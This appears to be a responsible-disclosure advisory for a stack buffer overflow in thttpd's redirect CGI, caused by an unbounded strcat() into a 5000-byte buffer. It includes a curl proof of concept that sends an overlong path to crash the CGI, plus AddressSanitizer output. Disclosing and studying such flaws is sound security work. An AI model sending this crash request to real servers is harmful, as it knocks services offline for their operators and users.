...[ More ]

*Description:*
    A stack-based buffer overflow vulnerability exists in the redirect CGI
    program distributed with thttpd. The vulnerability is caused by unsafe
    string concatenation when constructing redirect URLs using
    attacker-controlled CGI environment variables. A remote, unauthenticated
    attacker can trigger the vulnerability via a crafted HTTP request,
    resulting in a crash of the CGI process and denial of service. In
    environments lacking modern exploit mitigations, this condition may be
    exploitable for arbitrary code execution.
    
    The redirect CGI program processes HTTP requests by reading CGI environment
    variables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule
    (*) is present in the .redirects file, the program appends user-controlled
    path data to a fixed-size stack buffer using strcat() without enforcing
    bounds checks. Specifically, when a redirect rule contains a wildcard
    match, the following logic is executed:
    strcat(url, script_name + (star - file)); Both script_name and the appended
    data originate from HTTP request paths controlled by the client. No
    validation is performed to ensure the combined string length fits within
    the allocated stack buffer (char url[5000]), resulting in a stack-based
    buffer overflow.
    
    *Affected Component:*
    
       - Project: thttpd
       - Component: cgi-src/redirect.c
       - Program Type: CGI executable
       - Affected Function: main()
       - Vulnerable Operation: strcat() on fixed-size stack buffer
       - Vulnerable Buffer: char url[5000]
    
    
    *Attack Vector*
    
       - Remote
       - Unauthenticated
       - No user interaction required
    
    
    *Proof of Concept (Remote):*
    
    *Attacker:*
    curl "http://127.0.0.1:8080/cgi-bin/redirect$(printf '/A%.0s' {1..1000})"
    ----
    curl: (52) Empty reply from server
    This indicates the CGI process terminated unexpectedly during request
    handling.
    
    *Server:*
    busybox httpd -f -p 8080 -h /var/www
    
    *Output:*
    =================================================================
    ==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address
    0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50
    WRITE of size 70 at 0xfbff8c503cd8 thread T0
        #0 0xffff8ee025ec in strcat
    ../../../../src/libsanitizer/asan/asan_interceptors.cpp:520
        #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195
        #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl
    /libc_start_call_main.h:58
        #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360
        #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)
    (BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)
    
    Address 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in
    frame
        #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>